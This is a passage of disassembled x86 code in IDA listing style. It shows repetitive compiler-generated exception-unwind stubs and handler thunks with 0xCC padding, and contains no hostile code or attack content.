; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C9C4:				; DATA XREF: ___:00426EC2o
		mov	eax, offset dword_442960
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427740	proc near		; DATA XREF: sub_427740+2o
		mov	eax, offset dword_442A40
		jmp	sub_437AB8
SEH_427740	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA28:				; DATA XREF: ___:00442A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4277B0	proc near		; DATA XREF: sub_4277B0+2o
		mov	eax, offset dword_442A70
		jmp	sub_437AB8
SEH_4277B0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA78:				; DATA XREF: ___:00442AECo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427850	proc near		; DATA XREF: sub_427850+2o
		mov	eax, offset dword_442AC0
		jmp	sub_437AB8
SEH_427850	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427990	proc near		; DATA XREF: sub_427990+2o
		mov	eax, offset dword_442B10
		jmp	sub_437AB8
SEH_427990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B40
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B70
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA0
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD0
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C00
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C30
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C60
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBC8:				; DATA XREF: ___:00442CBCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429120	proc near		; DATA XREF: sub_429120+2o
		mov	eax, offset dword_442C90
		jmp	sub_437AB8
SEH_429120	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC28:				; DATA XREF: ___:00442D14o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4291E0	proc near		; DATA XREF: sub_4291E0+2o
		mov	eax, offset dword_442CE8
		jmp	sub_437AB8
SEH_4291E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC88:				; DATA XREF: ___:00442D6Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D40
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDB2:				; DATA XREF: ___:004295B8o
		mov	eax, offset dword_442D80
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42ACB0	proc near		; DATA XREF: sub_42ACB0+2o
		mov	eax, offset dword_442E68
		jmp	sub_437AB8
SEH_42ACB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AD90	proc near		; DATA XREF: sub_42AD90+2o
		mov	eax, offset dword_442E98
		jmp	sub_437AB8
SEH_42AD90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442EC8
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442EF8
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F28
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F58
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEB0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FB8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CEC8:				; DATA XREF: ___:00443044o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443018
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443058
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF28:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443088
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430B8
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443118
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443148
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0A4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443288
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D10B:				; DATA XREF: ___:004432ECo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D116:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_4432F8
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443328
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443360
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
